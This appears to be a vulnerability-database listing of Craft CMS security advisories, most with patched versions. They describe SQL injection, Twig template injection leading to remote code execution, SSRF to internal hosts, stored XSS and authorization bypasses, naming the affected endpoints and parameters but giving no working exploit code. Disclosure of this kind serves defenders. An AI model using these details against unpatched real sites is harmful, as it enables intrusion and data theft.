Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]` The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload). > [!NOTE] > The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay. --- |
Affected by 30 other vulnerabilities. Affected by 36 other vulnerabilities. |
|
VCID-jhen-vhqx-n7dr
Aliases: CVE-2024-21622 GHSA-j5g9-j7r4-6qvx |
Improper Privilege Management Craft is a content management system. This is a potential moderate impact, low complexity privilege escalation vulnerability in Craft starting in 3.x prior to 3.9.6 and 4.x prior to 4.4.16 with certain user permissions setups. This has been fixed in Craft 4.4.16 and Craft 3.9.6. Users should ensure they are running at least those versions. |
Affected by 49 other vulnerabilities. |
|
VCID-jsfs-azcs-mfcm
Aliases: CVE-2025-46731 GHSA-7c58-g782-9j38 |
Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and `ALLOW_ADMIN_CHANGES` must be enabled for this to work. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Note: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv Users should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue. |
Affected by 43 other vulnerabilities. Affected by 50 other vulnerabilities. |
|
VCID-jxet-d8ux-mkge
Aliases: CVE-2025-35939 GHSA-7vrx-9684-xrf2 |
Craft CMS stores arbitrary content provided by unauthenticated users in session files. This content could be accessed and executed, possibly using an independent vulnerability. Craft CMS redirects requests that require authentication to the login page and generates a session file on the server at `/var/lib/php/sessions`. Such session files are named `sess_[session_value]`, where `[session_value]` is provided to the client in a `Set-Cookie` response header. Craft CMS stores the return URL requested by the client without sanitizing parameters. Consequently, an unauthenticated client can introduce arbitrary values, such as PHP code, to a known local file location on the server. Craft CMS versions 5.7.5 and 4.15.3 have been released to address this issue. |
Affected by 42 other vulnerabilities. Affected by 49 other vulnerabilities. |
|
VCID-jxz8-g6fq-dubw
Aliases: CVE-2026-28781 GHSA-2xfc-g69j-x2mp |
Craft CMS: Entries Authorship Spoofing via Mass Assignment The entry creation process allows for **Mass Assignment** of the `authorId` attribute. A user with "Create Entries" permission can inject the `authorIds[]` (or `authorId`) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others. Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship. |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-kbrc-85av-nfcn
Aliases: CVE-2026-25497 GHSA-fxp3-g6gw-4r4v |
Craft CMS: GraphQL Asset Mutation Privilege Escalation Type: Privilege Escalation (CWE-269) Affected: Craft CMS 5.x (likely affects 4.x and 3.x as well) Location: `src/gql/resolvers/mutations/Asset.php lines 57-107` |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-m5rf-usae-yfb7
Aliases: GHSA-4mgv-366x-qxvx |
Craft CMS Vulnerable to Stored XSS in Settings Names and Field Options Stored XSS in multiple settings. Names/labels are rendered without sanitization via `checkbox.twig` template which uses `{{ label|raw }}`. --- |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-nmzu-mefv-tqeh
Aliases: CVE-2026-33161 GHSA-vgjg-248p-rfm2 |
Craft CMS' anonymous "assets/image-editor" calls return private asset editor metadata to unauthorized users ### Summary A low-privileged authenticated user can call `assets/image-editor` with the ID of a private asset they cannot view and still receive editor response data, including `focalPoint`. The endpoint returns private editing metadata without per-asset authorization validation. Root-cause analysis: 1. `actionImageEditor()` accepts `assetId` from the request body. 2. The asset is loaded, and the focal-point data is read. 3. Response returns `html` and `focalPoint`. 4. No explicit authorization check is applied before the response. ### Impact ## Affected deployments: * Craft sites where asset edit metadata should remain restricted to authorized users. ## Security consequence: * Unauthorized users can extract private editor metadata and related editor context for inaccessible assets. |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-ppet-ruae-1kav
Aliases: CVE-2026-25493 GHSA-8jr8-7hr4-vhfx |
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- |
Affected by 30 other vulnerabilities. Affected by 36 other vulnerabilities. |
|
VCID-qq68-3j4y-47am
Aliases: CVE-2025-32432 GHSA-f3gw-9ww9-jmc3 |
Craft CMS Allows Remote Code Execution This is an additional fix for https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g This is a high-impact, low-complexity attack vector. To mitigate the issue, users running Craft installations before the fixed versions are encouraged to update to at least that version. |
Affected by 42 other vulnerabilities. Affected by 49 other vulnerabilities. |
|
VCID-qwmy-d2e8-5khw
Aliases: CVE-2026-28695 GHSA-94rc-cqvm-m4pw |
Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the `create()` Twig function combined with a Symfony Process gadget chain. This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7). |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-qywv-vf4r-8bh9
Aliases: CVE-2026-28696 GHSA-7x43-mpfg-r9wj |
Craft CMS has IDOR via GraphQL @parseRefs The GraphQL directive `@parseRefs`, intended to parse internal reference tags (e.g., `{user:1:email}`), can be abused by both authenticated users and unauthenticated guests (if a Public Schema is enabled) to access sensitive attributes of any element in the CMS. The implementation in `Elements::parseRefs` fails to perform authorization checks, allowing attackers to read data they are not authorized to view. |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-r5hp-5nju-9ubz
Aliases: CVE-2025-23209 GHSA-x684-96hh-833x |
Craft CMS has a potential RCE with a compromised security key This is an RCE vulnerability that affects Craft 4 and 5 installs where your security key has already been compromised. https://craftcms.com/knowledge-base/securing-craft#keep-your-secrets-secret Anyone running an unpatched version of Craft with a compromised security key is affected. |
Affected by 44 other vulnerabilities. Affected by 48 other vulnerabilities. |
|
VCID-rb7c-3nkc-gkeg
Aliases: CVE-2025-68437 GHSA-x27p-wfqw-hfcc |
Craft CMS vulnerable to Server-Side Request Forgery (SSRF) via GraphQL Asset Upload Mutation The Craft CMS GraphQL `save_<VolumeName>_Asset` mutation is vulnerable to Server-Side Request Forgery (SSRF). This vulnerability arises because the `_file` input, specifically its `url` parameter, allows the server to fetch content from arbitrary remote locations without proper validation. Attackers can exploit this by providing internal IP addresses or cloud metadata endpoints as the `url`, forcing the server to make requests to these restricted services. The fetched content is then saved as an asset, which can subsequently be accessed and exfiltrated, leading to potential data exposure and infrastructure compromise. This exploitation requires specific GraphQL permissions for asset management within the targeted volume. Users should update to the patched 5.8.21 and 4.16.17 releases to mitigate the issue.References: https://github.com/craftcms/cms/commit/013db636fdb38f3ce5657fd196b6d952f98ebc52 https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md |
Affected by 35 other vulnerabilities. Affected by 43 other vulnerabilities. |
|
VCID-rvrz-498f-2uet
Aliases: CVE-2023-33195 GHSA-qpgm-gjgf-8c2x |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Craft is a CMS for creating custom digital experiences on the web. A malformed RSS feed can deliver an XSS payload. This issue was patched in version 4.4.6. |
Affected by 52 other vulnerabilities. |
|
VCID-rzq4-h1ms-nqef
Aliases: CVE-2026-32264 GHSA-4484-8v2f-5748 |
Craft CMS vulnerable to behavior injection RCE ElementIndexesController and FieldsController The fix for https://github.com/advisories/GHSA-7jx7-3846-m7w7 (commit https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748) only patched `src/services/Fields.php`, but the same vulnerable pattern exists in `ElementIndexesController` and `FieldsController`. You need Craft control panel administrator permissions, and allowAdminChanges must be enabled for this to work. An attacker can use the same gadget chain from the original advisory to achieve RCE. Users should update to Craft 4.17.5 and 5.9.11 to mitigate the issue. |
Affected by 10 other vulnerabilities. Affected by 14 other vulnerabilities. |
|
VCID-sa99-8awj-eycd
Aliases: GHSA-44px-qjjc-xrhq |
Craft CMS: Authorized asset "preview file" requests bypass allows users without asset access to retrieve private preview metadata ### Summary An authenticated low-privileged user can call `assets/preview-file` for an asset they are not authorized to view and still receive preview response data (`previewHtml`) for that private asset. The returned preview HTML included a private preview image route containing the target private `assetId`, even though `canView` was `false` for the attacker account. ### Details 1. `assets/preview-file` accepts a maliciously controlled `assetId` and renders preview output. 2. The action does not enforce per-asset view authorization prior to returning preview content. 3. As a result, an authenticated user without asset-view permission can still obtain private preview output. This affects Craft installations with authenticated users of mixed privilege levels with private assets. ### Resources - d30df3112220db1ffd6726a3ed11857014c7fb27 - b1cddf72c98a |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-twuy-wzb7-k7g3
Aliases: CVE-2026-25496 GHSA-9f5h-mmq6-2x78 |
Craft CMS Vulnerable to Stored XSS in Number Prefix & Suffix Fields A stored XSS vulnerability exists in the Number field type settings. The Prefix and Suffix fields are rendered using the `|md|raw` Twig filter without proper escaping, allowing script execution when the Number field is displayed on users' profiles. |
Affected by 30 other vulnerabilities. Affected by 36 other vulnerabilities. |
|
VCID-tzjk-x116-ayge
Aliases: CVE-2026-33158 GHSA-3pvf-vxrv-hh9c |
Craft CMS: Low-privilege users could read private asset contents when editing an asset (IDOR) ### Summary A low-privileged authenticated user can read private asset content by calling `assets/edit-image` with an arbitrary `assetId` that they are not authorized to view. The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files. ### Details Root cause: - A user-controlled object reference (`assetId`) is used to load and return sensitive content. - The action does not verify whether the current user is authorized to view that asset. - This creates an authenticated IDOR / authorization bypass. ### Impact - Craft installations where private/non-public assets exist and low-privileged users can authenticate. ## Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-vasz-rnn1-67ev
Aliases: CVE-2026-28783 GHSA-5fvc-7894-ghp4 |
Craft CMS has Twig Function Blocklist Bypass Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions. In order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility. Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs. Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether. https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096 This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it. Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting. |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-w9yn-1573-hyau
Aliases: CVE-2026-28782 GHSA-jxm3-pmm2-9gf6 |
Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-wcx6-wed9-gub2
Aliases: CVE-2023-32679 GHSA-vqxf-r9ph-cc9c |
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Craft CMS is an open source content management system. In affected versions of Craft CMS an unrestricted file extension may lead to Remote Code Execution. If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> _resolveTemplateInternal() -> _resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates. When attacker with admin privileges on a DEV or an improperly configured STG or PROD environment, they can exploit this vulnerability to remote code execution. Code execution may grant the attacker access to the host operating system. This issue has been addressed in version 4.4.6. Users are advised to upgrade. There are no known workarounds for this vulnerability. |
Affected by 52 other vulnerabilities. |
|
VCID-ymw8-mvrz-e7bc
Aliases: CVE-2023-2817 GHSA-7x94-jx75-3gh6 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') A post-authentication stored cross-site scripting vulnerability exists in Craft CMS versions <= 4.4.11. HTML, including script tags can be injected into field names which, when the field is added to a category or section, will trigger when users visit the Categories or Entries pages respectively. |
Affected by 49 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-qcwp-su57-9fa1 | Improper Control of Generation of Code ('Code Injection') CraftCMS version 3.7.59 is vulnerable to Server-Side Template Injection (SSTI). An authenticated attacker can inject Twig Template to User Photo Location field when setting User Photo Location in User Settings, lead to Remote Code Execution. |
CVE-2023-30179
GHSA-3x74-v64j-qc3f |